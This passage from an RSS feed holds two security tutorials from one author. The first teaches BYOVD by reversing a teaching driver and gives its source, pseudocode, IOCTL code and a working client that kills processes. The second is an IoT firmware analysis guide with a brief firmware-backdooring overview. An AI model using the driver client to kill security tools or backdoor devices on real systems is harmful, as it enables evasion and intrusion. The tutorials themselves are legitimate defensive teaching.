Mask</h4><p><strong>ZwOpenProcess </strong>takes an <strong>ACCESS_MASK </strong>as <strong>DesiredAccess.</strong> The syntax is shown below —</p><pre>NTSYSAPI NTSTATUS ZwOpenProcess(<br>  [out]          PHANDLE            ProcessHandle,<br>  [in]           ACCESS_MASK        DesiredAccess,<br>  [in]           POBJECT_ATTRIBUTES ObjectAttributes,<br>  [in, optional] PCLIENT_ID         ClientId<br>);</pre><p>For termination, the driver requests process-specific termination rights:</p><pre>PROCESS_TERMINATE = 0x0001</pre><p>This is not the same as standard object rights like <strong>DELETE </strong>or <strong>SYNCHRONIZE </strong>described in the generic access-mask documentation. Those apply to all object types; <strong>PROCESS_TERMINATE </strong>applies to process objects. In disassembly, the access argument to <strong>ZwOpenProcess </strong>is often the immediate value 1.</p><p><strong>InitializeObjectAttributes </strong>is used with <strong>OBJ_KERNEL_HANDLE </strong>so the handle is stored in the kernel handle table.</p><p><strong>CLIENT_ID: </strong>set <strong>UniqueProcess </strong>to the PID (as a handle-valued integer) and <strong>UniqueThread </strong>to NULL.</p><p><strong>NTSTATUS values to expect</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*AyVJAs-OM8PFiciVM9SXXA.png" /></figure><p>Kernel code does not guarantee success against all targets. <strong>Protected Process Light (PPL) </strong>and other policies still apply. We will try killing both Notepad.exe and LSASS.exe which is a PPL Protected process.</p><h4>Pseudocode Aligned With The Binary</h4><p>Below is the pseudocode of the driver and now we can relate to the code as we have covered a lot of basics and theory behing it.</p><pre>DeviceControl:<br>  if IoControlCode != IOCTL_TCVIN_PROCESS_TERMINATE<br>      return STATUS_INVALID_DEVICE_REQUEST<br><br>  if InputBufferLength &lt; sizeof(ULONG)<br>      return STATUS_BUFFER_TOO_SMALL<br><br>  pid = *(ULONG*)SystemBuffer<br>  return TerminateProcessByPid(pid)<br><br>TerminateProcessByPid(pid):<br>  ZwOpenProcess(..., PROCESS_TERMINATE, ..., pid)<br>  ZwTerminateProcess(...)<br>  ZwClose(...)</pre><h3>Reversing TCVINProcTerm.sys ( Our Process Termination Driver )</h3><p><strong>Tools</strong></p><ul><li>Ghidra or IDA Free/Pro (x64) — I will be using Ghidra here.</li></ul><h4>Step 1: Strings</h4><blockquote>Open the strings view and locate:</blockquote><blockquote>1. \Device\TCVINProcTerm</blockquote><blockquote>2. \DosDevices\TCVINProcTerm</blockquote><p>Follow cross-references into the initialization path. This confirms the sample and shows where the device is registered.</p><p>After importing the driver in Ghidra and analyzing it in the code browser, we can search for <strong>strings.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5poU_NAHHYclX_E0rlyCEQ.png" /></figure><p>We can see the strings —</p><pre>DEFINED 1400019c0 u_\DosDevices\TCVINProcTerm_1400019c0 unicode u&quot;\\DosDevices\\TCVINProcTerm&quot; u&quot;\\DosDevices\\TCVINProcTerm&quot; unicode 52 true<br>DEFINED 140001a00 u_\Device\TCVINProcTerm_140001a00 unicode u&quot;\\Device\\TCVINProcTerm&quot; u&quot;\\Device\\TCVINProcTerm&quot; unicode 44 true</pre><p>Under <strong>X-Refs</strong> .i.e. the <strong>Cross-References</strong> we can see the <strong>function</strong> where this string is referred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Fa5X9Atj2_X-St-CfelQbg.png" /></figure><p>In the decompiler window, we can see the pseudo-code where the string is being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*m4wgrV0xIVtm61OcQZ7z5A.png" /></figure><h4>Step 2: DriverEntry</h4><blockquote>Go to the PE entry point. Identify DriverEntry by the pattern:</blockquote><blockquote>1. IoCreateDevice</blockquote><blockquote>2. IoCreateSymbolicLink</blockquote><blockquote>Writes to MajorFunction array</blockquote><p>Checking for the <strong>Cross References </strong>for FUN_140001230, it takes us to the<strong> DriverEntry</strong> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*oePbP5DY1LFG5EzL5FKHJw.png" /></figure><p>Below is the actual source code which you can refer to understand more about the pseudocode generated.</p><pre>// Driver Entry<br>NTSTATUS DriverEntry(<br> _In_ PDRIVER_OBJECT DriverObject,<br> _In_ PUNICODE_STRING RegistryPath<br>) {<br> NTSTATUS status;<br> UNICODE_STRING deviceName;<br> UNICODE_STRING symlinkName;<br><br> UNREFERENCED_PARAMETER(RegistryPath);<br><br> RtlInitUnicodeString(&amp;deviceName, DEVICE_NAME);<br> RtlInitUnicodeString(&amp;symlinkName, SYMLINK_NAME);<br><br> status = IoCreateDevice(<br>  DriverObject,<br>  0,<br>  &amp;deviceName,<br>  FILE_DEVICE_UNKNOWN,<br>  0,<br>  FALSE,<br>  &amp;g_DeviceObject<br> );<br><br> if (!NT_SUCCESS(status)) {<br>  return status;<br> }<br><br> status = IoCreateSymbolicLink(&amp;symlinkName, &amp;deviceName);<br><br> if (!NT_SUCCESS(status)) {<br>  IoDeleteDevice(g_DeviceObject);<br>  g_DeviceObject = NULL;<br>  return status;<br> }<br><br> // Major Functions<br> DriverObject-&gt;MajorFunction[IRP_MJ_CREATE] = CreateClose;<br> DriverObject-&gt;MajorFunction[IRP_MJ_CLOSE] = CreateClose;<br> DriverObject-&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;<br> DriverObject-&gt;DriverUnload = DriverUnload;<br><br> return STATUS_SUCCESS;<br><br>}</pre><p>Based on this we can rename and redefine the types of the variable properly.</p><p>But the main things we found here is:</p><ol><li><strong>Device Name — “\\.\TCVINProcTerm”</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*RxA9Qt70GcWLkFqWPtYXVg.png" /></figure><h4>Step 3: Locate DeviceControl</h4><blockquote>From DriverEntry, find the handler stored at MajorFunction[0x0E] (index 14). Rename it DeviceControl.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*4tBNxdrokNPpg1cz9ygsGg.png" /></figure><h4>Step 4: Recover IOCTL and Input</h4><blockquote>In DeviceControl, look for:</blockquote><blockquote>- Comparison of IoControlCode to a constant → record IOCTL (hex)</blockquote><blockquote>- Check that InputBufferLength &gt;= 4</blockquote><blockquote>- Read *(ULONG*) from Irp-&gt;AssociatedIrp.SystemBuffer</blockquote><blockquote>Fill in a short worksheet:</blockquote><pre>Symlink / device strings:     (from step 1)<br>IOCTL (hex):                  ___________<br>Minimum input size:           4 bytes<br>Input layout:                 ULONG ProcessId at offset 0<br>ZwOpenProcess present:        yes / no    Access mask: 0x1<br>ZwTerminateProcess present:   yes / no<br>All IRP paths complete:       verify IoCompleteRequest on branches</pre><p>Observing the DeviceControl function we can find the IOCTL ( Hex Number ) being present over there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*TpxKPc8NlbGogt_c0qD88Q.png" /></figure><p>which calls the function FUN_1400012e0, which upon observation is our function which contains the <strong>ZwTerminateProcess</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*F4YIIHP5uoWycR60ADCyQw.png" /></figure><p>Therefore, the IOCTL is 0x222000, which takes us to the ZwTerminateProcess API.</p><p>Filling the above worksheet —</p><pre>Symlink / device strings:     \\.\TCVINProcTerm<br>IOCTL (hex):                  0x222000<br>Minimum input size:           4 bytes<br>Input layout:                 ULONG ProcessId at offset 0<br>ZwOpenProcess present:        yes | Access mask: 0x1<br>ZwTerminateProcess present:   yes</pre><h4>Step 5: Termination Helper</h4><blockquote>Follow the call from DeviceControl into the helper that invokes ZwOpenProcess, ZwTerminateProcess, and ZwClose. Rename the helper (e.g. TerminateProcessByPid).</blockquote><p>If we see the syntax/documentation for ZwTerminateProcess, we can see that the first argument is the ProcessHandle to be terminated.</p><pre>NTSYSAPI NTSTATUS ZwTerminateProcess(<br>  [in, optional] HANDLE   ProcessHandle,<br>  [in]           NTSTATUS ExitStatus<br>);</pre><p>ProcessHandle is passed to ZwTerminateProcess by ZwOpenProcess which has the following syntax —</p><pre>NTSYSAPI NTSTATUS ZwOpenProcess(<br>  [out]          PHANDLE            ProcessHandle,<br>  [in]           ACCESS_MASK        DesiredAccess,<br>  [in]           POBJECT_ATTRIBUTES ObjectAttributes,<br>  [in, optional] PCLIENT_ID         ClientId<br>);</pre><p>A better pseudocode generated from IDA using symbols is shown below , read it, take your time and relate the concepts —</p><pre>__int64 __fastcall DriverEntry(_DRIVER_OBJECT *DriverObject, _UNICODE_STRING *RegistryPath)<br>{<br>  int status; // [rsp+40h] [rbp-38h]<br>  int statusa; // [rsp+40h] [rbp-38h]<br>  _UNICODE_STRING deviceName; // [rsp+48h] [rbp-30h] BYREF<br>  _UNICODE_STRING symlinkName; // [rsp+58h] [rbp-20h] BYREF<br><br>  RtlInitUnicodeString(&amp;deviceName, L&quot;\\Device\\TCVINProcTerm&quot;);<br>  RtlInitUnicodeString(&amp;symlinkName, L&quot;\\DosDevices\\TCVINProcTerm&quot;);<br>  status = IoCreateDevice(DriverObject, 0, &amp;deviceName, 0x22u, 0, 0, &amp;g_DeviceObject);<br>  if ( status &gt;= 0 )<br>  {<br>    statusa = IoCreateSymbolicLink(&amp;symlinkName, &amp;deviceName);<br>    if ( statusa &gt;= 0 )<br>    {<br>      DriverObject-&gt;MajorFunction[0] = CreateClose;<br>      DriverObject-&gt;MajorFunction[2] = CreateClose;<br>      DriverObject-&gt;MajorFunction[14] = DeviceControl;<br>      DriverObject-&gt;DriverUnload = DriverUnload;<br>      return 0i64;<br>    }<br>    else<br>    {<br>      _mm_lfence();<br>      IoDeleteDevice(g_DeviceObject);<br>      g_DeviceObject = 0i64;<br>      return (unsigned int)statusa;<br>    }<br>  }<br>  else<br>  {<br>    _mm_lfence();<br>    return (unsigned int)status;<br>  }<br>}</pre><pre>__int64 __fastcall DeviceControl(_DEVICE_OBJECT *DeviceObject, _IRP *Irp)<br>{<br>  unsigned int status; // [rsp+20h] [rbp-38h]<br>  unsigned int ioctlCode; // [rsp+24h] [rbp-34h]<br>  unsigned int inLen; // [rsp+28h] [rbp-30h]<br>  _IO_STACK_LOCATION *irpSp; // [rsp+30h] [rbp-28h]<br>  unsigned int *buffer; // [rsp+38h] [rbp-20h]<br><br>  status = -1073741808;<br>  irpSp = IoGetCurrentIrpStackLocation(Irp);<br>  ioctlCode = irpSp-&gt;Parameters.Read.ByteOffset.LowPart;<br>  buffer = (unsigned int *)Irp-&gt;AssociatedIrp.MasterIrp;<br>  inLen = irpSp-&gt;Parameters.Create.Options;<br>  Irp-&gt;IoStatus.Information = 0i64;<br>  if ( ioctlCode == 2236416 )<br>  {<br>    if ( inLen &gt;= 4ui64 &amp;&amp; buffer )<br>      status = TerminateProcessByPid(*buffer);<br>    else<br>      status = -1073741789;<br>  }<br>  Irp-&gt;IoStatus.Status = status;<br>  IofCompleteRequest(Irp, 0);<br>  return status;<br>}</pre><pre>__int64 __fastcall TerminateProcessByPid(unsigned int ProcessId)<br>{<br>  int status; // [rsp+20h] [rbp-58h]<br>  void *processHandle; // [rsp+28h] [rbp-50h] BYREF<br>  _CLIENT_ID clientId; // [rsp+30h] [rbp-48h] BYREF<br>  _OBJECT_ATTRIBUTES objectAttributes; // [rsp+40h] [rbp-38h] BYREF<br><br>  processHandle = 0i64;<br>  objectAttributes.Length = 48;<br>  objectAttributes.RootDirectory = 0i64;<br>  objectAttributes.Attributes = 512;<br>  objectAttributes.ObjectName = 0i64;<br>  objectAttributes.SecurityDescriptor = 0i64;<br>  objectAttributes.SecurityQualityOfService = 0i64;<br>  clientId.UniqueProcess = (void *)ProcessId;<br>  clientId.UniqueThread = 0i64;<br>  status = ZwOpenProcess(&amp;processHandle, 1u, &amp;objectAttributes, &amp;clientId);<br>  if ( status &gt;= 0 )<br>  {<br>    status = ZwTerminateProcess(processHandle, 0);<br>    ZwClose(processHandle);<br>  }<br>  else<br>  {<br>    _mm_lfence();<br>  }<br>  return (unsigned int)status;<br>}</pre><p>So, by reversing the driver we have found the device name and the IOCTL for Process Terminaton using ZwTerminateProcess. These 2 things are must for a minimal PoC to create the client and killing process.</p><h3>Demo</h3><p>Run only on a disposable VM you control, with test signing enabled and a snapshot taken before loading the driver.</p><h4>Enable Test Signing</h4><p>Elevated command prompt on the VM, enter the following line:</p><pre>bcdedit /set testsigning on</pre><p>Reboot. A “Test Mode” watermark indicates test signing is on. Do not use production systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/201/1*r50VeB0DmECixB_NO2icBg.png" /></figure><h4>Install &amp; Start The Driver</h4><p>Copying the TCVINProcTerm.sys to VM.</p><p>Using the following commands to load and start the driver.</p><pre>sc create TCVINProcTerm type= kernel binPath= C:\&lt;Path&gt;\TCVINProcTerm.sys<br>sc start TCVINProcTerm<br>sc query TCVINProcTerm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOfernOcgvfxm1efjLCGsA.png" /></figure><h4>Successful Termination</h4><blockquote>1. Start Notepad and note its PID.</blockquote><blockquote>2. Use a small client (or your own script) to:</blockquote><blockquote>- CreateFile(L&quot;\\\\.\\TCVINProcTerm&quot;, ...)</blockquote><blockquote>- DeviceIoControl with the IOCTL recovered from reversal, passing a 4-byte PID</blockquote><blockquote>3. Confirm Notepad exits.</blockquote><p>The following is the code of our client, which is then compiled into an exe.</p><pre>/*<br>@Author - Sushant Mane<br>@Description - Userland client to interact with the driver.<br>@Date - 24th May 2026<br>*/<br><br>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &quot;Process_Terminator.h&quot;<br><br>int main(int argc, char** argv) {<br><br> HANDLE hDevice;<br> PROCESS_TERMINATE_REQUEST req;<br> DWORD bytesReturned;<br> BOOL ok;<br> ULONG pid;<br><br> if (argc &lt; 2) {<br>  printf(&quot;Usage: %s &lt;pid&gt;\n&quot;, argv[0]);<br>  return 1;<br> }<br><br> pid = (ULONG)strtoul(argv[1], NULL, 10);<br> req.ProcessId = pid;<br><br> hDevice = CreateFileW(<br>  L&quot;\\\\.\\TCVINProcTerm&quot;,<br>  GENERIC_READ | GENERIC_WRITE,<br>  0,<br>  NULL,<br>  OPEN_EXISTING,<br>  FILE_ATTRIBUTE_NORMAL,<br>  NULL<br> );<br><br> if (hDevice == INVALID_HANDLE_VALUE) {<br>  printf(&quot;CreateFile FAILED: %lu\n&quot;, GetLastError());<br>  return 1;<br> }<br><br> ok = DeviceIoControl(<br>  hDevice,<br>  IOCTL_TCVIN_PROCESS_TERMINATE,<br>  &amp;req,<br>  sizeof(req),<br>  NULL,<br>  0,<br>  &amp;bytesReturned,<br>  NULL<br> );<br><br> CloseHandle(hDevice);<br><br> if (!ok) {<br>  printf(&quot;DeviceIoControl FAILED: %lu\n&quot;, GetLastError());<br>  return 1;<br> }<br><br> printf(&quot;IOCTL send for PID %lu\n&quot;, pid);<br><br> return 0;<br>}</pre><p>If the IOCTL, device name, or input size from your analysis is wrong, the process will remain running, this is a useful check that static analysis matched the binary.</p><p>In ProcessHacker we can observe the PID of Notepad.exe, and using our script we can kill it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxs3FvYUSlKPVINlrC_Tdg.png" /></figure><p>Now after execution, we can see the process is killed, Notepad.exe with PID 4244 doesn’t exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4z4_IHOzmIFwrvLKPndqCA.png" /></figure><h4>Cleanup</h4><p>Close any open handles to the device, then:</p><pre>sc stop TCVINProcTerm<br>sc delete TCVINProcTerm</pre><p>Restore the VM snapshot if you want a clean state.</p><h3>Comparison with real-world BYOVD</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*mlwpcNTO3q59vKcHt_ywPA.png" /></figure><p>The mechanics are the same: signed (or lab test-signed) module, device object, IOCTL, kernel primitive. Defenders prioritize driver load, handle to \\.\ devices, and correlation with process termination. Microsoft’s vulnerable driver blocklist and policies such as WDAC target known-abusable drivers at scale.</p><p>This article does not publish IOCTL values or binaries for known malicious drivers. The skill is recovering the contract from any sample you are authorized to analyze.</p><h3>Summary</h3><p>After working through this article, you should be able to:</p><ol><li>Explain BYOVD as signed driver + device + IOCTL + kernel action.</li><li>Trace the path from CreateFile on \\.\TCVINProcTerm to DeviceControl and ZwTerminateProcess.</li><li>Reverse TCVINProcTerm.sys to recover the device strings, IOCTL code, and 4-byte PID input.</li><li>Validate the analysis in a test-signed VM with success and failure cases.</li><li>Relate the pattern to detection and driver hardening in real environments.</li></ol><p>TCVINProcTerm is a deliberate teaching sample. The same analysis steps apply to suspicious drivers in incident response — without requiring you to build a driver from scratch.</p><h3>Follow Us</h3><p><strong>At The Cyber Veda India</strong>, we cover major cyber events, share actionable knowledge, and deliver practical training online.</p><p><strong>Where to find us:</strong></p><ul><li><a href="https://www.linkedin.com/company/the-cyber-veda-india"><strong>LinkedIn</strong></a><strong>:</strong> Follow for in-depth articles on cybersecurity and electronic warfare</li><li><a href="https://www.youtube.com/@TheCyberVedaIN"><strong>YouTube</strong></a><strong>:</strong> Watch technical breakdowns and training sessions on cyber defense</li><li><a href="https://www.instagram.com/thecyberveda_india/"><strong>Instagram</strong></a><strong>:</strong> Quick insights on cybersecurity trends and incident analysis</li><li><a href="https://thecyberveda.in/"><strong>The Cyber Veda India</strong></a><strong>:</strong> Our edutech platform offering cybersecurity training and workshops</li></ul><p>If you found this breakdown useful, <strong>follow along</strong> for more content that keeps you informed about the latest in cybersecurity and electronic warfare.</p><p><strong>Stay secure. Stay informed.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c431d9d578b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Beginner’s Guide to IoT Firmware Analysis]]></title>
            <link>https://medium.com/@sushant.m.mane/a-beginners-guide-to-iot-firmware-analysis-21ed00460440?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/21ed00460440</guid>
            <category><![CDATA[firmware]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[analysis]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 03:10:26 GMT</pubDate>
            <atom:updated>2026-02-02T03:10:26.182Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9G8a7rxRAABxmKAIj3iNg.png" /></figure><p>If you’ve ever wondered what makes your smart devices tick, you’re thinking about firmware. In IoT security, understanding firmware is often the first step to finding vulnerabilities.</p><p>Before jumping into analysis part, let us answer few questions in a very lame man’s definition.</p><h3>What Exactly is Firmware?</h3><p><a href="https://en.wikipedia.org/wiki/Firmware">Firmware</a> is the software that runs on your IoT device. Most IoT devices run Linux-based firmware, which means they share many components with desktop Linux, just stripped down for embedded use.</p><h3>What’s Inside That Firmware?</h3><p>When you dig into firmware, you’ll typically find:</p><ul><li><strong>Bootloader:</strong> starts the device</li><li><strong>OS Kernel:</strong> the core operating system</li><li><strong>File System:</strong> includes the web server, utilities, and other components</li></ul><p>Many devices use <strong>Busybox</strong>, a lightweight toolkit that bundles common utilities (like ls, pwd, cat) into a single binary. It’s common in embedded systems where space is limited.</p><h3>Why Analyze Firmware?</h3><p>Firmware analysis helps you:</p><ul><li>Understand how the device works</li><li>Find security vulnerabilities</li><li>Reverse engineer functionality</li><li>Modify or patch or backdoor the firmware</li></ul><h3>Where Do You Get Firmware?</h3><p>You have a few options:</p><ol><li><strong>Dump it from the device: </strong>Use UART, JTAG, or SPI to extract firmware directly</li><li><strong>Download from the vendor: </strong>Check the manufacturer’s support site</li><li><strong>Community sources: </strong>Support forums and groups often share firmware files</li><li><strong>Capture during updates: </strong>Intercept firmware updates over the network</li></ol><p>Each method has pros and cons. Dumping from hardware gives you the exact version running, while vendor downloads are usually easier but may differ from what’s installed.</p><h3>The Firmware Analysis Workflow: Step by Step</h3><p>Here’s a practical workflow for analyzing IoT firmware. Each step builds on the last.</p><h4>Step 1: Get Your Hands on the Firmware</h4><p>First, obtain the firmware file. Extract it if it’s compressed. You might see .bin, .img, or vendor-specific formats. Extraction can be straightforward or require custom tools.</p><h4>Step 2: Initial Reconnaissance</h4><p>Start with basic inspection. Use strings to find readable text (passwords, URLs, API keys). <strong>hexdump </strong>helps inspect the raw binary structure. These quick checks often reveal useful details before deeper analysis.</p><h4>Step 3: Unpacking with Binwalk</h4><p><a href="https://github.com/ReFirmLabs/binwalk"><strong>Binwalk </strong></a>(comes pre-installed with kali linux ) identifies and extracts embedded file systems, compressed archives, and other structures. It’s often the fastest way to get inside the firmware and see what’s actually there.</p><h4>Step 4: Automated Scanning with Firmwalker</h4><p><a href="https://github.com/craigz28/firmwalker"><strong>Firmwalker</strong> </a>scans extracted files for sensitive data: passwords, keys, certificates, hardcoded credentials, and configuration files. It automates tedious searches and flags items worth investigating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*BQYklOJLLu5j38_u.jpg" /><figcaption><a href="https://github.com/craigz28/firmwalker">https://github.com/craigz28/firmwalker</a></figcaption></figure><h4>Step 5: Emulation with Firmadyne</h4><p><a href="https://github.com/firmadyne/firmadyne"><strong>Firmadyne</strong></a> (it’s a <a href="https://www.qemu.org/"><strong>QEMU</strong></a> based MIPS/ARM based IoT Firmware Emulator, for more information do visit and read the repo — <a href="https://github.com/firmadyne/firmadyne">https://github.com/firmadyne/firmadyne</a> ) emulates the firmware in a controlled environment so you can test it without the physical device. This lets you interact with the web interface, test network services, and observe behaviour safely.</p><h4>Step 6: Modification Testing with Firmware-Mod-Kit (FMK)</h4><p><a href="https://github.com/rampageX/firmware-mod-kit">FMK</a> helps modify the firmware (e.g., backdoors, changed configurations). Flash the modified version and see if the device accepts it. If it does, firmware integrity verification is likely missing which is a security issue. If it rejects the modified firmware, integrity checks are in place.</p><h3>Extracting &amp; Exploring IoT Firmware</h3><p>Most IoT firmware is a single binary image that bundles the bootloader, kernel, and file system. Your goal is to extract and explore the file system. Here’s how to do it.</p><h4>Getting Started: Know What You’re Working With</h4><p>First, check the file type:</p><pre>file firmware.bin</pre><p>This shows the file format and hints at what’s inside.</p><h4>Finding the File System Signature</h4><p>Firmware images often contain multiple sections. To find where the file system starts, search for the Squashfs signature:</p><pre>hexdump -C firmware.bin | less | grep -i shsq</pre><p>The <strong>shsq </strong>signature marks the start of a Squashfs file system. Note the byte offset where it appears.</p><p>Squashfs is a compressed, read-only file system common in embedded Linux. It packs many files into a small space, which is why it’s popular in IoT devices. It’s read-only, so you can’t modify it in place, you extract, modify, and rebuild.</p><h4>Manual Extraction with dd</h4><p>Once you have the offset (e.g., 917632), extract the file system:</p><pre>dd if=firmware.bin skip=917632 bs=1 of=rootfs.squashfs</pre><p>This skips to the offset and writes the file system to <strong>rootfs.squashfs</strong>. The bs=1 sets a 1-byte block size for precise positioning.</p><h4>Unpacking the File System</h4><p>Extract the <strong>Squashfs </strong>image:</p><pre>~/tools/firmware-mod-kit/unsquash-fs.sh rootfs.squashfs</pre><p>This decompresses the file system into a directory you can explore.</p><h4>The Easier Way: Using Binwalk</h4><p>You can automate this with binwalk:</p><pre>binwalk -e firmware.bin</pre><p>Binwalk detects embedded file systems, extracts them, and creates a <strong>squashfs-root</strong> directory. It’s faster, but understanding the manual process helps when binwalk misses something.</p><p>After extraction, you’ll have a squashfs-root directory with the device’s file system: web server files, configuration files, binaries, and scripts. This is where you start looking for vulnerabilities.</p><h3>Firmwalker: Automating Firmware Analysis</h3><p>You can analyze firmware manually or with tools. Manual analysis is thorough but slow, and time constraints often make automation necessary. Firmwalker automates many of these checks.</p><h4>What is Firmwalker?</h4><p>Firmwalker is a bash script by Craig that scans extracted firmware for common security issues. It’s available at <a href="https://github.com/craigz28/firmwalker.">https://github.com/craigz28/firmwalker.</a></p><h4>What Does Firmwalker Look For?</h4><p>It checks for:</p><ul><li>Authentication files — etc/shadow and etc/passwd</li><li>SSL/TLS files — lists etc/ssl and searches for .pem, .crt, and related files</li><li>Configuration files — various config files that might expose sensitive data</li><li>Script files — shell scripts and other executables</li><li>Binary files — other .bin files embedded in the firmware</li><li>Sensitive keywords — searches for terms like “admin”, “password”, “remote”, etc.</li><li>Web servers — common IoT web servers</li><li>Network services — binaries like ssh, tftp, dropbear, etc.</li><li>Network information — URLs, email addresses, and IP addresses</li><li>Shodan integration — experimental support for Shodan API calls via the Shodan CLI</li></ul><p>These are common issues in IoT firmware, and Firmwalker flags them quickly.</p><h4>The Workflow</h4><p>The process is straightforward:</p><ol><li>Get the firmware</li><li>Extract the firmware (using binwalk or manual methods)</li><li>Run Firmwalker on the extracted directory</li></ol><h4>Running Firmwalker: A Practical Example</h4><p>After extracting your firmware, navigate to the Firmwalker directory and run:</p><pre>sudo ./firmwalker.sh /home/iot/Desktop/Examples/_DIR-300A1_FW105b09.bin.extracted</pre><p>Point it to the extracted firmware directory (e.g., squashfs-root). It scans and prints results to the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ydx5OqPbbRIlcTS3" /></figure><h4>Understanding the Output</h4><p>Firmwalker prints findings as it runs. When finished, it also saves everything to Firmwalker.txt in the current directory. This file lists all discovered issues and is useful for documentation and deeper review.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*giFWk9zZatwrF21B" /><figcaption>Firmwalker Output</figcaption></figure><p>The output shows file paths, matched keywords, and potential security concerns. Review the results carefully, not every finding is a vulnerability, but many warrant investigation.</p><h3>Emulating an IoT Firmware using Firmadyne Emulator</h3><p>Emulating firmware lets you test it without the physical device. Firmadyne automates this process.</p><h4>Getting Started with Firmadyne</h4><p>If you’re using <a href="https://www.attify.com/attifyos">AttifyOS</a>, you’re in luck, it comes with QEMU and Firmadyne pre-installed. I first learned about this setup from various online resources and <a href="https://www.amazon.in/IoT-Hackers-Handbook-Practical-Internet/dp/1484242998">Aditya Gupta’s “The IoT Hacker’s Handbook: A Practical Guide to Hacking the Internet of Things”</a> when I was a student. It’s a solid starting point for IoT security.</p><p>Firmadyne is located at /home/iot/tools/firmware-analysis-toolkit in AttifyOS. The main script is fat.py, which automates the emulation process.</p><h4>Running Firmadyne</h4><p>The basic command is straightforward:</p><pre>./fat.py directory_of_the_firmware</pre><p>For example, if you’ve extracted a Squashfs file system:</p><pre>./fat.py /home/iot/Desktop/Firmware/rootfs.squashfs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VkgFTuZ707PAYVHL" /></figure><p>Point it to your extracted firmware directory, and it handles the rest.</p><h4>A Real-World Example: Netgear WPA320 Router</h4><p>Let’s walk through emulating the Netgear WPA320 router firmware.</p><p>After running the command, Firmadyne sets up the emulation environment. It will prompt you to press Enter to start the firmware. Once you do, it boots the firmware in QEMU.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*tJfG43p9tsDxvX2f" /></figure><p>The emulator assigns an IP address (in this case, 192.168.0.100). After a short wait, open your browser and navigate to that IP address. You should see the router’s web interface running in the emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-xJMy0Ev6T7fYidy" /></figure><p>Emulation lets you:</p><ul><li>Test firmware without the hardware</li><li>Interact with the web interface safely</li><li>Test network services and functionality</li><li>Experiment without bricking a device</li></ul><p>It’s a game-changer for firmware analysis. You can test exploits, explore the interface, and understand device behaviour in a controlled environment.</p><h3>BONUS: Backdooring IoT Devices (For Authorized Testing Only)</h3><blockquote><strong>Disclaimer:</strong> This section is for educational purposes and authorized security testing only. Only perform these techniques on devices you own or have explicit written permission to test. Unauthorized access to devices is illegal and unethical. Use this knowledge responsibly and legally.</blockquote><h4>Understanding the Backdooring Process</h4><p>Backdooring involves embedding persistent access into firmware. The process typically follows these steps:</p><ol><li><strong>Extract and analyze the firmware:</strong> Understand its structure and components</li><li><strong>Generate compatible shellcode:</strong> Create a payload that works with the firmware’s architecture and OS</li><li><strong>Inject the shellcode:</strong> Place it in the firmware and configure it to execute</li><li><strong>Rebuild the firmware:</strong> Use FMK to repackage everything</li><li><strong>Flash the modified firmware:</strong> Install it on the device</li></ol><p>This technique demonstrates why firmware integrity verification matters. If a device accepts modified firmware without detection, it’s vulnerable to this type of attack. That’s why testing firmware modification detection is important, it shows whether the device can be compromised at the firmware level.</p><p>Remember: this is a defensive security technique. Understanding how attackers might backdoor devices helps you protect against such attacks and implement proper security controls.</p><p><strong>Follow </strong>for more such interesting articles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*37YdgNwlHCPxM7UV.png" /></figure><p><strong>LinkedIn </strong>— <a href="https://www.linkedin.com/in/sushantmmane/">https://www.linkedin.com/in/sushantmmane/</a></p><p><strong>The Cyber Veda India </strong>— <a href="https://www.linkedin.com/company/the-cyber-veda-india">https://www.linkedin.com/company/the-cyber-veda-india</a></p><p><strong>The Cyber Veda India Instagram </strong>— <a href="https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ%3D%3D">https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ==</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21ed00460440" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Started with SDR for Ethical Hacking]]></title>
            <link>https://medium.com/@sushant.m.mane/getting-started-with-sdr-for-ethical-hacking-202c2e400c66?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/202c2e400c66</guid>
            <category><![CDATA[hacking]]></category>
